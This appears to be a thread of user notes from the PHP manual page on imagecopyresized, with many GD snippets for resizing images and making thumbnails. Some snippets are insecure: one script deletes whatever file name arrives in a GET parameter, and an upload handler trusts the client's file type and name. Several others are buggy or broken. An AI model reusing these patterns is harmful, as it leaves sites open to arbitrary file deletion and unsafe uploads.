round(sqrt(($width*$width)+($height*$height))/2);
$target['diagonal_center'] =
round(sqrt(($target['width']*$target['width'])+
($target['height']*$target['height']))/2);

$crop = round($original['diagonal_center'] - $target['diagonal_center']);

if($proportion_X < $proportion_Y ){
$target['x'] = 0;
$target['y'] = round((($height/2)*$crop)/$target['diagonal_center']);
}else{
$target['x'] =  round((($width/2)*$crop)/$target['diagonal_center']);
$target['y'] = 0;
}

if($fileExtension == "jpg" OR $fileExtension=='jpeg'){
$from = ImageCreateFromJpeg($src);
}elseif ($fileExtension == "gif"){
$from = ImageCreateFromGIF($src);
}elseif ($fileExtension == 'png'){
 $from = imageCreateFromPNG($src);
}

$new = ImageCreateTrueColor ($dstx,$dsty);

imagecopyresampled ($new,  $from,  0, 0, $target['x'],
$target['y'], $dstx, $dsty, $target['width'], $target['height']);

 if($fileExtension == "jpg" OR $fileExtension == 'jpeg'){
imagejpeg($new, $dst, 70);
}elseif ($fileExtension == "gif"){
imagegif($new, $dst);
}elseif ($fileExtension == 'png'){
imagepng($new, $dst);
}
}
}
}

?>
kyle dot florence at gmail dot com 15-Sep-2006 06:38
The function below will resize an image based on max width and height, then it will create a thumbnail image from the center of the resized image of a width and height specified.  This function will not resize the image to max_w pixels by max_h pixels, those are only the max width's and heights the image can be, it resizes the image to the first 1:1 ratio below max_w and max_h.

For example, if you have an image that is 800x600 and you specify your new image to be 400x200, it will resize based on the smallest number (in this case 200) and maintain the images 1:1 ratio.  So your final image would end up at something like 262x200.

UPDATE:  I have updated this function, I added the 'newdir' option in case you want the images saved in a different directory than the script.  I also fixed the thumbnail slice so it is perfectly in the center now and fixed the bug that 'ob at babcom dot biz' mentioned so you can safely resize based on width or height now.

<?
/**********************************************************
 * function resizejpeg:
 *
 *  = creates a resized image based on the max width
 *    specified as well as generates a thumbnail from
 *    a rectangle cut from the middle of the image.
 *
 *    @dir    = directory image is stored in
 *    @newdir = directory new image will be stored in
 *    @img    = the image name
 *    @max_w  = the max width of the resized image
 *    @max_h  = the max height of the resized image
 *    @th_w   = the width of the thumbnail
 *    @th_h   = the height of the thumbnail
 *
 **********************************************************/

function resizejpeg($dir, $newdir, $img, $max_w, $max_h, $th_w, $th_h)
{
    // set destination directory
    if (!$newdir) $newdir = $dir;

    // get original images width and height
    list($or_w, $or_h, $or_t) = getimagesize($dir.$img);

    // make sure image is a jpeg
    if ($or_t == 2) {

        // obtain the image's ratio
        $ratio = ($or_h / $or_w);

        // original image
        $or_image = imagecreatefromjpeg($dir.$img);

        // resize image?
        if ($or_w > $max_w || $or_h > $max_h) {

            // resize by height, then width (height dominant)
            if ($max_h < $max_w) {
                $rs_h = $max_h;
                $rs_w = $rs_h / $ratio;
            }
            // resize by width, then height (width dominant)
            else {
                $rs_w = $max_w;
                $rs_h = $ratio * $rs_w;
            }

            // copy old image to new image
            $rs_image = imagecreatetruecolor($rs_w, $rs_h);
            imagecopyresampled($rs_image, $or_image, 0, 0, 0, 0, $rs_w, $rs_h, $or_w, $or_h);
        }
        // image requires no resizing
        else {
            $rs_w = $or_w;
            $rs_h = $or_h;

            $rs_image = $or_image;
        }

        // generate resized image
        imagejpeg($rs_image, $newdir.$img, 100);

        $th_image = imagecreatetruecolor($th_w, $th_h);

        // cut out a rectangle from the resized image and store in thumbnail
        $new_w = (($rs_w / 2) - ($th_w / 2));
        $new_h = (($rs_h / 2) - ($th_h / 2));

        imagecopyresized($th_image, $rs_image, 0, 0, $new_w, $new_h, $rs_w, $rs_h, $rs_w, $rs_h);

        // generate thumbnail
        imagejpeg($th_image, $newdir.'thumb_'.$img, 100);

        return true;
    }

    // Image type was not jpeg!
    else {
        return false;
    }
}
?>

Example:

<?php
$dir = './';
$img = 'test.jpg';

resizejpeg($dir, '', $img, 600, 400, 300, 150);
?>

The example would resize the image 'test.jpg' into something 600x400 or less (retains the 1:1 ratio of the image) and creates the file 'thumb_test.jpg' at 300x150.
nworld3d at yahoo dot com 23-Aug-2006 05:06
Belows is the code snipet that allows you to resize a transparent PNG and composite it into another image.  The code is tested to work with PHP5.1.2, GD2, but I think it can also work with other versions of PHP and GD.

The code has been commented to help you read through it.  The idea of resizing the transparent PNG image is to create a new destination image which is completely transparent then turn off the imageAlphaBlending of this new image so that when the PNG source file is copied, its alpha channel is still retained.

<?php
/**
 * Compose a PNG file over a src file.
 * If new width/ height are defined, then resize the PNG (and keep all the transparency info)
 * Author:  Alex Le - http://www.alexle.net
 */
function imageComposeAlpha( &$src, &$ovr, $ovr_x, $ovr_y, $ovr_w = false, $ovr_h = false)
{
    if( $ovr_w && $ovr_h )
        $ovr = imageResizeAlpha( $ovr, $ovr_w, $ovr_h );

    /* Noew compose the 2 images */
    imagecopy($src, $ovr, $ovr_x, $ovr_y, 0, 0, imagesx($ovr), imagesy($ovr) );
}

/**
 * Resize a PNG file with transparency to given dimensions
 * and still retain the alpha channel information
 * Author:  Alex Le - http://www.alexle.net
 */
function imageResizeAlpha(&$src, $w, $h)
{
        /* create a new image with the new width and height */
        $temp = imagecreatetruecolor($w, $h);

        /* making the new image transparent */
        $background = imagecolorallocate($temp, 0, 0, 0);
        ImageColorTransparent($temp, $background); // make the new temp image all transparent
        imagealphablending($temp, false); // turn off the alpha blending to keep the alpha channel

        /* Resize the PNG file */
        /* use imagecopyresized to gain some performance but loose some quality */
        imagecopyresized($temp, $src, 0, 0, 0, 0, $w, $h, imagesx($src), imagesy($src));
        /* use imagecopyresampled if you concern more about the quality */
        //imagecopyresampled($temp, $src, 0, 0, 0, 0, $w, $h, imagesx($src), imagesy($src));
        return $temp;
}
?>
Example usage:

<?php
header('Content-type: image/png');

/* Open the photo and the overlay image */
$photoImage = ImageCreateFromJPEG('images/MiuMiu.jpg');
$overlay = ImageCreateFromPNG('images/hair-trans.png');

$percent = 0.8;
$newW = ceil(imagesx($overlay) * $percent);
$newH = ceil(imagesy($overlay) * $percent);

/* Compose the overlay photo over the target image */
imageComposeAlpha( $photoImage, $overlay, 86, 15, $newW, $newH );

/* Open another PNG file, then resize and compose it */
$watermark = imagecreatefrompng('images/watermark.png');
imageComposeAlpha( $photoImage, $watermark, 10, 20, imagesx($watermark)/2, imagesy($watermark)/2 );

/**
 * Open the same PNG file then compose without resizing
 * As the original $watermark is passed by reference, it was resized already.
 * So we have to reopen it.
 */
$watermark = imagecreatefrompng('images/watermark.png');
imageComposeAlpha( $photoImage, $watermark, 80, 350);
Imagepng($photoImage); // output to browser

ImageDestroy($photoImage);
ImageDestroy($overlay);
ImageDestroy($watermark);
?>
ob at babcom dot biz 21-Aug-2006 04:32
Regarding the note and function of kyle.florence on August 3rd 2006:

I tried to use his function resizejpeg() for resizing images in my gallery. As far as I can tell it contains a small bug.

Resizing worked fine as long as I had the same maximum width and maximum height specified. Wanting all thumbnails to have the same height - so my images would appear in a straight line on my website both in portrait format and in landscape format - I soon encountered the problem that resizing with different values of maximum width and maximum height would not work proberly.

If you are using the script change the following 2 lines where the resized width and the resized height are calculated:

<?php
$rs_h = $ratio * $max_h;
?>
should be:
<?php
$rs_h = $ratio * $rs_w;
?>

and:
<?php
$rs_w = $max_w / $ratio;
?>
should be:
<?php
$rs_w = $rs_h / $ratio;
?>

The following function is based on Kyle Florence's function. I left out the thumbnail-part and rather added the possibiliy of defining a new dir and new filename for the image. If you need to resize and then create a thumbnail just run the function twice. Here, the thumbnail will contain the full picture and not a cutout of the original image.

The function supports JPG, GIF and PNG resizing. The quality in case of JPG is given to the function as the last parameter $Quality.

The variable names should speak for their usage.

<?php
function Resize($Dir,$Image,$NewDir,$NewImage,$MaxWidth,$MaxHeight,$Quality) {
  list($ImageWidth,$ImageHeight,$TypeCode)=getimagesize($Dir.$Image);
  $ImageType=($TypeCode==1?"gif":($TypeCode==2?"jpeg":
             ($TypeCode==3?"png":FALSE)));
  $CreateFunction="imagecreatefrom".$ImageType;
  $OutputFunction="image".$ImageType;
  if ($ImageType) {
    $Ratio=($ImageHeight/$ImageWidth);
    $ImageSource=$CreateFunction($Dir.$Image);
    if ($ImageWidth > $MaxWidth || $ImageHeight > $MaxHeight) {
      if ($ImageWidth > $MaxWidth) {
         $ResizedWidth=$MaxWidth;
         $ResizedHeight=$ResizedWidth*$Ratio;
      }
      else {
        $ResizedWidth=$ImageWidth;
        $ResizedHeight=$ImageHeight;
      }
      if ($ResizedHeight > $MaxHeight) {
        $ResizedHeight=$MaxHeight;
        $ResizedWidth=$ResizedHeight/$Ratio;
      }
      $ResizedImage=imagecreatetruecolor($ResizedWidth,$ResizedHeight);
      imagecopyresampled($ResizedImage,$ImageSource,0,0,0,0,$ResizedWidth,
                         $ResizedHeight,$ImageWidth,$ImageHeight);
    }
    else {
      $ResizedWidth=$ImageWidth;
      $ResizedHeight=$ImageHeight;
      $ResizedImage=$ImageSource;
    }
    $OutputFunction($ResizedImage,$NewDir.$NewImage,$Quality);
    return true;
  }
  else
    return false;
}
?>

Before calling the function support for JPG, PNG or GIF should be checked.
hodgman at ali dot com dot au 08-Aug-2006 04:37
Users of this function should be aware that this function can return false in certain circumstances! I am assuming this is an indicator of failure.

None of the example code displayed in these notes takes this into account, so all of these examples contain weaknesses that could crash a program if not used with care.

However, it is not documented what kinds situations will cause it to fail, and what side effects (if it is not atomic) occur if the operation fails, so we will have to wait for the documentation to be updated before this function can be used in rock-solid (crash-proof) code.

[[I posted this information earlier, but I phrased it as a question so it was removed by the editors]]
kyle(dot)florence(_[at]_)gmail(dot)com 03-Aug-2006 06:43
The function below will resize an image based on max width and height, then it will create a thumbnail image from the center of the resized image of a width and height specified.

<?php
/**********************************************************
 * function resizejpeg:
 *
 *  = creates a resized image based on the max width
 *    specified as well as generates a thumbnail from
 *    a rectangle cut from the middle of the image.
 *
 *    @dir   = directory image is stored in
 *    @img   = the image name
 *    @max_w = the max width of the resized image
 *    @max_h = the max height of the resized image
 *    @th_w  = the width of the thumbnail
 *    @th_h  = the height of the thumbnail
 *
 **********************************************************/

function resizejpeg($dir, $img, $max_w, $max_h, $th_w, $th_h)
{
    // get original images width and height
    list($or_w, $or_h, $or_t) = getimagesize($dir.$img);

    // make sure image is a jpeg
    if ($or_t == 2) {

        // obtain the image's ratio
        $ratio = ($or_h / $or_w);

        // original image
        $or_image = imagecreatefromjpeg($dir.$img);

        // resize image
        if ($or_w > $max_w || $or_h > $max_h) {

            // first resize by width (less than $max_w)
            if ($or_w > $max_w) {
                $rs_w = $max_w;
                $rs_h = $ratio * $max_h;
            } else {
                $rs_w = $or_w;
                $rs_h = $or_h;
            }

            // then resize by height (less than $max_h)
            if ($rs_h > $max_h) {
                $rs_w = $max_w / $ratio;
                $rs_h = $max_h;
            }

            // copy old image to new image
            $rs_image = imagecreatetruecolor($rs_w, $rs_h);
            imagecopyresampled($rs_image, $or_image, 0, 0, 0, 0, $rs_w, $rs_h, $or_w, $or_h);
        } else {
            $rs_w = $or_w;
            $rs_h = $or_h;

            $rs_image = $or_image;
        }

        // generate resized image
        imagejpeg($rs_image, $dir.$img, 100);

        $th_image = imagecreatetruecolor($th_w, $th_h);

        // cut out a rectangle from the resized image and store in thumbnail
        $new_w = (($rs_w / 4));
        $new_h = (($rs_h / 4));

        imagecopyresized($th_image, $rs_image, 0, 0, $new_w, $new_h, $rs_w, $rs_h, $rs_w, $rs_h);

        // generate thumbnail
        imagejpeg($th_image, $dir.'thumb_'.$img, 100);

        return true;
    }

    // Image type was not jpeg!
    else {
        return false;
    }
}
?>

Example:

<?php
$dir = './';
$img = 'test.jpg';

resizejpeg($dir, $img, 600, 600, 300, 150);
?>

The example would resize the image 'test.jpg' into something 600x600 or less (1:1 ratio) and create the file 'thumb_test.jpg' at 300x150.
06madsenl at westseneca dot wnyric dot org 21-Apr-2006 06:05
I was fiddling with this a few days trying to figure out how to resize the original images on my website, but this site:

http://www.sitepoint.com/article/image-resizing-php

Has a great tutorial on using PHP to resize images without creating thumbnails.  It was exactly what I was looking to do.
konteineris at yahoo dot com 15-Feb-2006 06:42
Function creates a thumbnail from the source image, resizes it so that it fits the desired thumb width and height or fills it grabbing maximum image part and resizing it, and lastly writes it to destination

<?

function thumb($filename, $destination, $th_width, $th_height, $forcefill)
{
   list($width, $height) = getimagesize($filename);

   $source = imagecreatefromjpeg($filename);

   if($width > $th_width || $height > $th_height){
      $a = $th_width/$th_height;
      $b = $width/$height;

      if(($a > $b)^$forcefill)
      {
         $src_rect_width  = $a * $height;
         $src_rect_height = $height;
         if(!$forcefill)
         {
            $src_rect_width = $width;
            $th_width = $th_height/$height*$width;
         }
      }
      else
      {
         $src_rect_height = $width/$a;
         $src_rect_width  = $width;
         if(!$forcefill)
         {
            $src_rect_height = $height;
            $th_height = $th_width/$width*$height;
         }
      }

      $src_rect_xoffset = ($width - $src_rect_width)/2*intval($forcefill);
      $src_rect_yoffset = ($height - $src_rect_height)/2*intval($forcefill);

      $thumb  = imagecreatetruecolor($th_width, $th_height);
      imagecopyresized($thumb, $source, 0, 0, $src_rect_xoffset, $src_rect_yoffset, $th_width, $th_height, $src_rect_width, $src_rect_height);

      imagejpeg($thumb,$destination);
   }
}

?>
jesse at method studios 04-Oct-2005 12:07
imagecopyresized() does not do any resampling.  This makes it extremely quick.  If quality is an issue, use imagecopyresampled().
MaLaZ 11-Aug-2005 07:24
simple script for creating thumbnails with process information and saving original ratio thumbnail to new destination...good then useing with upload or uploaded images:

<?php

//Upload------------------------------------
if(isset( $submit ))
{
if ($_FILES['imagefile']['type'] == "image/jpeg"){
    copy ($_FILES['imagefile']['tmp_name'], "../images/".$_FILES['imagefile']['name'])
    or die ("Could not copy");
        echo "";
        echo "Image Name: ".$_FILES['imagefile']['name']."";
        echo "<br>Image Size: ".$_FILES['imagefile']['size']."";
        echo "<br>Image Type: ".$_FILES['imagefile']['type']."";
        echo "<br>Image Copy Done....<br>";
        }
         else {
            echo "<br><br>";
            echo "bad file type (".$_FILES['imagefile']['name'].")<br>";exit;
              }
//-----upload end

//------start thumbnailer

    $thumbsize=120;
    echo "Thumbnail Info: <br>
         1.Thumb defined size: - OK: $thumbsize<br>";
    $imgfile = "../images/$imagefile_name";//processed image
    echo "
         2.Image destination: - OK: $imgfile<br>";
    header('Content-type: image/jpeg');
    list($width, $height) = getimagesize($imgfile);
    echo "3.Image size - OK: W=$width x H=$height<br>";
    $imgratio=$width/$height;
    echo "3.Image ratio - OK: $imgratio<br>";
    if ($imgratio>1){
      $newwidth = $thumbsize;
      $newheight = $thumbsize/$imgratio;}
    else{
      $newheight = $thumbsize;
      $newwidth = $thumbsize*$imgratio;}
    echo "4.Thumb new size -OK: W=$newwidth x H=$newheight<br>";
    $thumb = ImageCreateTrueColor($newwidth,$newheight);
    echo "5.TrueColor - OK<br>";
    $source = imagecreatefromjpeg($imgfile);
    echo "6.From JPG - OK<br>";
    imagecopyresized($thumb, $source, 0, 0, 0, 0, $newwidth, $newheight, $width, $height);
    imagejpeg($thumb,"../images/thumbs/thumb_$imagefile_name",100);echo "7.Done... - OK<br>";
//-----------end--------------
?>

or without any info, just resizing:

<?php
//------start thumbnailer
   $thumbsize=120;
   $imgfile = "../images/$imagefile_name";
   header('Content-type: image/jpeg');
   list($width, $height) = getimagesize($imgfile);
   $imgratio=$width/$height;
   if ($imgratio>1){
     $newwidth = $thumbsize;
     $newheight = $thumbsize/$imgratio;}
   else{
     $newheight = $thumbsize;
     $newwidth = $thumbsize*$imgratio;}
   $thumb = ImageCreateTrueColor($newwidth,$newheight);
   $source = imagecreatefromjpeg($imgfile);
   imagecopyresized($thumb, $source, 0, 0, 0, 0, $newwidth, $newheight, $width, $height);
imagejpeg($thumb,"../images/thumbs/thumb_$imagefile_name",100);
//-----------end--------------
?>

i hope it helps.
FearINC at gmail dot com 10-Aug-2005 10:35
I wrote a function not long ago that creates a thumbnail out of a large picture. Unlike other notes on this page, the code is a function so it can be used many times on the same script. The function allows the programer to set max height and width and resizes the picture proportionally.
<?php
function saveThumbnail($saveToDir, $imagePath, $imageName, $max_x, $max_y) {
    preg_match("'^(.*)\.(gif|jpe?g|png)$'i", $imageName, $ext);
    switch (strtolower($ext[2])) {
        case 'jpg' :
        case 'jpeg': $im   = imagecreatefromjpeg ($imagePath);
                     break;
        case 'gif' : $im   = imagecreatefromgif  ($imagePath);
                     break;
        case 'png' : $im   = imagecreatefrompng  ($imagePath);
                     break;
        default    : $stop = true;
                     break;
    }

    if (!isset($stop)) {
        $x = imagesx($im);
        $y = imagesy($im);

        if (($max_x/$max_y) < ($x/$y)) {
            $save = imagecreatetruecolor($x/($x/$max_x), $y/($x/$max_x));
        }
        else {
            $save = imagecreatetruecolor($x/($y/$max_y), $y/($y/$max_y));
        }
        imagecopyresized($save, $im, 0, 0, 0, 0, imagesx($save), imagesy($save), $x, $y);

        imagegif($save, "{$saveToDir}{$ext[1]}.gif");
        imagedestroy($im);
        imagedestroy($save);
    }
}
?>

the function for now takes only jpg,gif and png files, but that can easily be changed.
It's an easy to use easy to understand function and I hope it will come useful to someone.
mecdesign at hotmail dot com 07-Aug-2005 02:51
This code will resize your images if your image needs to fit (without stretching) into a max height / width destination image that is not a 1:1 ratio (mine was 4:3).

<?
   // Ratios
   $image_ratio = $width / $height; // Actual image's ratio
   $destination_ratio = $max_width / $max_height; // Ratio of dest. placeholder

    // Taller
    if($image_ratio < $destination_ratio)
    {
        //Too tall:
        if($height > $max_height)
        {
            $height = $max_height;
            $width = ceil($height / $image_ratio);
        }
    }
    // Wider / balanced & too wide:
    else if ($width > $max_width)
    {
        $width = $max_width;
        $height = ceil($width / $image_ratio);
    }
?>
brian <dot> tyler <at> gmail <dot> com 12-Jun-2005 03:53
I spent last night getting unsuccessful results from this function until I found this note of fluffle <<at>> gmail on the imagecopyresampled page, I have made a slight modification, so you can just cut and paste.

Just to clarify that src_w and src_h do not necessarily need to be the source image width and height, as they specify the size of the rectangle cropped from the source picture, with its top left corner situated at (src_x, src_y).

For example, the code below crops a jpeg image to be square, with the square situated in the centre of the original image, and then resizes it to a 100x100 thumbnail.

function ($image_filename, $thumb_location, $image_thumb_size){
//@$image_filename - the filename of the image you want
//to get a thumbnail for (relative to location of this
//function).
//@$thumb_location - the url (relative to location of this
//function) to save the thumbnail.
//@$image_thumb_size - the x-y dimension of your thumb
//in pixels.

   list($ow, $oh) = getimagesize($image_filename);
   $image_original = imagecreatefromjpeg($image_filename);
   $image_thumb = imagecreatetruecolor($image_thumb_size,$image_thumb_size);
if ($ow > $oh) {
   $off_w = ($ow-$oh)/2;
   $off_h = 0;
   $ow = $oh;
} elseif ($oh > $ow) {
   $off_w = 0;
   $off_h = ($oh-$ow)/2;
   $oh = $ow;
} else {
   $off_w = 0;
   $off_h = 0;
}
imagecopyresampled($image_thumb, $image_original, 0, 0, $off_w, $off_h, 100, 100, $ow, $oh);

imagejpeg($image_thumb, $thumb_location);
}//end function
no at name dot com 18-May-2005 04:45
I was searching for script, that do not resize on the fly, but copy resized file to other place, so after long searches, i've done this function. I hope it will be usefull for someone:
(This is not original code, i'v taked it from somwhere and edited a ltl :)
<?php
function resize($cur_dir, $cur_file, $newwidth, $output_dir)
{
    $dir_name = $cur_dir;
    $olddir = getcwd();
    $dir = opendir($dir_name);
    $filename = $cur_file;
    $format='';
    if(preg_match("/.jpg/i", "$filename"))
    {
        $format = 'image/jpeg';
    }
    if (preg_match("/.gif/i", "$filename"))
    {
        $format = 'image/gif';
    }
    if(preg_match("/.png/i", "$filename"))
    {
        $format = 'image/png';
    }
    if($format!='')
    {
        list($width, $height) = getimagesize($filename);
        $newheight=$height*$newwidth/$width;
        switch($format)
        {
            case 'image/jpeg':
            $source = imagecreatefromjpeg($filename);
            break;
            case 'image/gif';
            $source = imagecreatefromgif($filename);
            break;
            case 'image/png':
            $source = imagecreatefrompng($filename);
            break;
        }
        $thumb = imagecreatetruecolor($newwidth,$newheight);
        imagealphablending($thumb, false);
        $source = @imagecreatefromjpeg("$filename");
        imagecopyresized($thumb, $source, 0, 0, 0, 0, $newwidth, $newheight, $width, $height);
        $filename="$output_dir/$filename";
        @imagejpeg($thumb, $filename);
    }
}
?>
call this function using
<?
resize("./input folder", "picture_file_name", "width", "./output folder");
?>
del at kartoon dot net 05-May-2005 01:37
This snippet allows you to grab a thumbnail from the center of a large image.  This was used for a client photo gallery for art to give a teaser of the image to come (only a small portion).  You could get dynamic with this value.  I also put in a scaling factor in case you want to scale down first before chopping.

<?php
// The file
$filename = 'moon.jpg';
$percent = 1.0; // if you want to scale down first
$imagethumbsize = 200; // thumbnail size (area cropped in middle of image)
// Content type
header('Content-type: image/jpeg');

// Get new dimensions
list($width, $height) = getimagesize($filename);
$new_width = $width * $percent;
$new_height = $height * $percent;

// Resample
$image_p = imagecreatetruecolor($imagethumbsize , $imagethumbsize);  // true color for best quality
$image = imagecreatefromjpeg($filename);

// basically take this line and put in your versin the -($new_width/2) + ($imagethumbsize/2) & -($new_height/2) + ($imagethumbsize/2) for
// the 2/3 position in the 3 and 4 place for imagecopyresampled
// -($new_width/2) + ($imagethumbsize/2)
// AND
// -($new_height/2) + ($imagethumbsize/2)
// are the trick
imagecopyresampled($image_p, $image, -($new_width/2) + ($imagethumbsize/2), -($new_height/2) + ($imagethumbsize/2), 0, 0, $new_width , $new_width , $width, $height);

// Output

imagejpeg($image_p, null, 100);
?>
development at lab-9 dot com 25-Apr-2005 03:35
If you read your Imagedata from a Database Blob and use the functions from above to resize the image to a thumbnail improving a lot of traffic, you will have to make temporary copies of the files in order that the functions can access them

Here a example:

// switch through imagetypes
$extension = "jpg";
if(mysql_result($query, 0, 'type') == "image/pjpeg")
{ $extension = "jpg"; } // overwrite
else if(mysql_result($query, 0, 'type') == "image/gif")
{ $extension = "gif"; } // overwrite

// get a temporary filename
// use microtime() to get a unique filename
// if you request more than one file f.e. by creating large numbers of thumbnails, the server could be not fast enough to save all these different files and you get duplicated copies and resizepics() will resize and output often the same content

$filename = microtime()."_temp.".$extension;

// open
$tempfile = fopen($filename, "w+");

// write
fwrite($tempfile, mysql_result($query, 0, 'image'));

// close
fclose($tempfile);

// resize and output the content
echo resizepics($filename, '100', '70');

// delete temporary file
unlink($filename);

NOTE: this script has to be put into a file which sends correct header informations to the browser, otherwise you won't get more to see than a big red cross :-)
robby at planetargon dot com 28-Feb-2005 07:56
Most of the examples below don't keep the proportions properly. They keep using if/else for the height/width..and forgetting that you might have a max height AND a max width, not one or the other.

/**
* Resize an image and keep the proportions
* @author Allison Beckwith <allison@planetargon.com>
* @param string $filename
* @param integer $max_width
* @param integer $max_height
* @return image
*/
function resizeImage($filename, $max_width, $max_height)
{
    list($orig_width, $orig_height) = getimagesize($filename);

    $width = $orig_width;
    $height = $orig_height;

    # taller
    if ($height > $max_height) {
        $width = ($max_height / $height) * $width;
        $height = $max_height;
    }

    # wider
    if ($width > $max_width) {
        $height = ($max_width / $width) * $height;
        $width = $max_width;
    }

    $image_p = imagecreatetruecolor($width, $height);

    $image = imagecreatefromjpeg($filename);

    imagecopyresampled($image_p, $image, 0, 0, 0, 0,
                                     $width, $height, $orig_width, $orig_height);

    return $image_p;
}
haker4o at haker4o dot org 26-Feb-2005 08:57
<?php
//                      Resize image.
//             Writeen By: Smelban & Haker4o
// Mails smelban@smwebdesigns.com & Haker4o@Haker4o.org
// This code is written to only execute on  jpg,gif,png
// $picname = resizepics('pics', 'new widthmax', 'new heightmax');
// Demo  $picname = resizepics('stihche.jpg', '180', '140');
$picname = resizepics('picture-name.format', '180', '140');
echo $pickname;
//Error
die( "<font color=\"#FF0066\"><center><b>File not exists :(<b></center></FONT>");
//Funcion resizepics
function resizepics($pics, $newwidth, $newheight){
     if(preg_match("/.jpg/i", "$pics")){
           header('Content-type: image/jpeg');
     }
     if (preg_match("/.gif/i", "$pics")){
           header('Content-type: image/gif');
     }
     list($width, $height) = getimagesize($pics);
     if($width > $height && $newheight < $height){
       $newheight = $height / ($width / $newwidth);
     } else if ($width < $height && $newwidth < $width) {
       $newwidth = $width / ($height / $newheight);
     } else {
       $newwidth = $width;
       $newheight = $height;
    }
    if(preg_match("/.jpg/i", "$pics")){
    $source = imagecreatefromjpeg($pics);
    }
    if(preg_match("/.jpeg/i", "$pics")){
    $source = imagecreatefromjpeg($pics);
    }
    if(preg_match("/.jpeg/i", "$pics")){
    $source = Imagecreatefromjpeg($pics);
    }
    if(preg_match("/.png/i", "$pics")){
    $source = imagecreatefrompng($pics);
    }
    if(preg_match("/.gif/i", "$pics")){
    $source = imagecreatefromgif($pics);
    }
    $thumb = imagecreatetruecolor($newwidth, $newheight);
    imagecopyresized($thumb, $source, 0, 0, 0, 0, $newwidth, $newheight, $width, $height);
    return imagejpeg($thumb);
    if(preg_match("/.jpg/i", "$pics")){
    return imagejpeg($thumb);
    }
    if(preg_match("/.jpeg/i", "$pics")){
    return imagejpeg($thumb);
    }
    if(preg_match("/.jpeg/i", "$pics")){
    return imagejpeg($thumb);
    }
    if(preg_match("/.png/i", "$pics")){
    return imagepng($thumb);
    }
    if(preg_match("/.gif/i", "$pics")){
    return imagegif($thumb);
    }
 }
?>
smelban at smwebdesigns dot com 15-Feb-2005 08:37
Resize image proportionaly where you give a max width or max height

<?php
header('Content-type: image/jpeg');
//$myimage = resizeImage('filename', 'newwidthmax', 'newheightmax');
$myimage = resizeImage('test.jpg', '150', '120');
print $myimage;

function resizeImage($filename, $newwidth, $newheight){
    list($width, $height) = getimagesize($filename);
    if($width > $height && $newheight < $height){
        $newheight = $height / ($width / $newwidth);
    } else if ($width < $height && $newwidth < $width) {
        $newwidth = $width / ($height / $newheight);
    } else {
        $newwidth = $width;
        $newheight = $height;
    }
    $thumb = imagecreatetruecolor($newwidth, $newheight);
    $source = imagecreatefromjpeg($filename);
    imagecopyresized($thumb, $source, 0, 0, 0, 0, $newwidth, $newheight, $width, $height);
    return imagejpeg($thumb);
}
?>
finnsi at centrum dot is 13-Feb-2005 05:30
If you need to delete or resize images in the filesystem (not in DB) without loosing the image quality...
I commented the code as much as possible so that newbies (like myself) will understand it.  ;)

<?php

    /*

    WRITTEN BY:
    Finnur Eiriksson, (http://www.centrum.is/finnsi)
    Based on snippets that have been posted on www.PHP.net
    Drop me an e-mail if you have any questions.

    NOTE:
    This code is written to either delete or resize pictures in the file system, so if you have your pictures in a database
    you will have to make some changes. Also, if you are using other picture formats than .gif's or .jpg's you
    will have to add som code as well (Read the comments to find out where to do this).

    IMPORTANT:
    The $_GET['resizepic'] variable only contains the NAME of the file that is going to be deleted/resized.

    The internet guest account (IUSR_SERVERNAME on WINDOWS) must have read and write permissions (execution permission not needed)
    in your image directory (i.e. $dir_name = "FooBar"). It is a good idea to have a separate directory for images that users
    can upload to and manipulate the contents. Ideally, you should have one directory for the pictures that are used for the website,
    and another upload directory

    */

    $dir_name = "FooBar";  // Enter the name of the directory that contains the images
    $olddir = getcwd();  // Get the Current Windows Directory to be able to switch back in the end of the script
    $dir = opendir($dir_name); //make a directory handle
    //To delete a picture
    if(isset($_GET['delpic'])){
        chdir('images');
        $delpic = $_GET['delpic'];
        @unlink($delpic);
        chdir($olddir);
    }
    //To resize a picture
    if(isset($_GET['resize'])){
        //$_GET['resize'] contains the resize-percentage (for example 80 and 40, for 80% and 40% respectively. To double the image in size the user enters 200 etc.)
        // File and new size
        $percent = ($_GET['resize']/100);
        chdir('images');// change the windows directory to the image directory
        $filename = $_GET['resizepic'];

        // Decide the content type, NB:This code is written to only execute on .gif's and .jpg's
        // If you want other formats than .gif's and .jpg's add your code here, in the same manner:
        $format='';
        if(preg_match("/.jpg/i", "$filename")){
            $format = 'image/jpeg';
            header('Content-type: image/jpeg');
        }
        if (preg_match("/.gif/i", "$filename")){
            $format = 'image/gif';
            header('Content-type: image/gif');
        }
        if($format!=''){  //This is where the actual resize process begins...
            // Get new sizes
            list($width, $height) = getimagesize($filename);
            $newwidth = $width * $percent;
            $newheight = $height * $percent;

            // Load the image
            switch($format){
                case 'image/jpeg':
                    $source = imagecreatefromjpeg($filename);
                break;
                case 'image/gif';
                    $source = imagecreatefromgif($filename);
                break;
            }
            //Get the Image
            $thumb = imagecreatetruecolor($newwidth,$newheight);
            //This must be set to false in order to be able to overwrite the black
            //pixels in the background with transparent pixels. Otherwise the new
            //pixels would just be applied on top of the black background.
            imagealphablending($thumb, false);
            //Make a temporary file handle
            $source = @imagecreatefromjpeg($filename);
            // Resize
            imagecopyresized($thumb, $source, 0, 0, 0, 0, $newwidth, $newheight, $width, $height);
            //Write the image to the destination file
            @imagejpeg($thumb, $filename);
            //Change back to the old directory... I'm not sure that this is neccessary
            chdir($olddir);
            //Specify where you want the user to go after the operation:
            header('Location: foobar.php');
        }
    }

?>
marcy DOT xxx (AT) gmail.com 02-Jan-2005 11:06
This example allow to use every kind of image and to resize images with ImageCopyResized(), maintaining proportions..

<?php
// switch to find the correct type of function

$imgfile = 'namefile.jpg';
Header("Content-type: image/".$_GET["type"]);

switch($_GET["type"]){
default:
    $function_image_create = "ImageCreateFromJpeg";
    $function_image_new = "ImageJpeg";
break;
case "jpg":
    $function_image_create = "ImageCreateFromJpeg";
    $function_image_new = "ImageJpeg";
case "jpeg":
    $function_image_create = "ImageCreateFromJpeg";
    $function_image_new = "ImageJpeg";
break;
case "png":
    $function_image_create = "ImageCreateFromPng";
    $function_image_new = "ImagePNG";
break;
case "gif":
    $function_image_create = "ImageCreateFromGif";
    $function_image_new = "ImagePNG";
break;
}

list($width, $height) = getimagesize($imgfile);

// the new weight of the thumb

$newheight = 80;

// Proportion is maintained

$newwidth = (int) (($width*80)/$height);

$thumb = ImageCreateTrueColor($newwidth,$newheight);
$source = @function_image_create($imgfile);

ImageCopyResized($thumb, $source, 0, 0, 0, 0, $newwidth, $newheight, $width, $height);

@$function_image_new($thumb);
?>
